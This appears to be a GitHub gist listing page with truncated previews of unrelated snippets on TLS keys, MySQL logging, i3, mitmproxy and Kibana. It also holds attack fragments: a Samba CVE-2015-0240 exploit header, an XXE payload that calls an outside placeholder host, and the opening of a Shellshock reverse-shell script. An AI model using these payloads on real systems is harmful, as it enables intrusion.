kost kost

Moved to git repository: https://github.com/denji/golang-tls

Generate private key (.key)

# Key considerations for algorithm "RSA" ≥ 2048-bit
openssl genrsa -out server.key 2048

# Key considerations for algorithm "ECDSA" ≥ secp384r1
# List ECDSA the supported curves (openssl ecparam -list_curves)

The MySQL slow query log is a difficult format to extract information from. After looking at various examples with mixed results, I realized that it's much easier to configure MySQL to write the slow query log to a table in CSV format!

From the MySQL documentation:

By default, the log tables use the CSV storage engine that writes data in comma-separated values format. For users who have access to the .CSV files that contain log table data, the files are easy to import into other programs such as spreadsheets that can process CSV input.

my.cnf

Note: don't forget to open up permissions on your slow query log CSV file so logstash can read it!

# enable slow query log

Update: For those interested, here's the version for updating from Android 5.1.0 (LMY47D/LMY47I) to Android 5.1.1 (LMY48B):
https://gist.github.com/eyecatchup/dab5cf7977008e504213

  UPDATE `NEXUS 5` 
     SET `VERSION`='5.0.1', `BUILD`='LRX22C', `RECOVERY`='CUSTOM', `ROOTED`=1 
   WHERE `VERSION`='5.0' && `BUILD`='LRX21O' && `RECOVERY`='CUSTOM' && `ROOTED`=1 
         && `WANNA_KEEP_USERDATA`=1;

	#!/usr/bin/python
	"""
	Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

	The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
	ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
	in libtalloc does not write a value on 'creds' address.

	Reference:
	- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

	#!/usr/bin/env python

	import i3

	outputs = i3.get_outputs()
	workspaces = i3.get_workspaces()

	# figure out what is on, and what is currently on your screen.
	workspace = list(filter(lambda s: s['focused']==True, workspaces))
	output = list(filter(lambda s: s['active']==True, outputs))

	#!/usr/bin/env python
	#
	# Simple script showing how to read a mitmproxy dump file
	#

	### UPD: this feature is now avaiable in mitmproxy: https://github.com/mitmproxy/mitmproxy/pull/619

	from libmproxy import flow
	import json, sys

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	{
	"title": "PFSense Firewall",
	"services": {
	"query": {
	"idQueue": [],
	"list": {
	"0": {
	"query": "tags: \"PFSense\" AND action: \"pass\"",
	"alias": "Passed",
	"color": "#6ED0E0",

	#include <stdio.h>
	#include <string.h>
	#include <sys/types.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <netdb.h>
	#include <errno.h>

	#define GNU_SOURCE
	#include <signal.h>

	# CVE-2014-6271 cgi-bin reverse shell
	# Original: http://pastebin.com/raw.php?i=166f8Rjx

	import httplib,urllib,sys
	if (len(sys.argv)<3):
	print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
	exit(0)

	conn = httplib.HTTPConnection(sys.argv[1])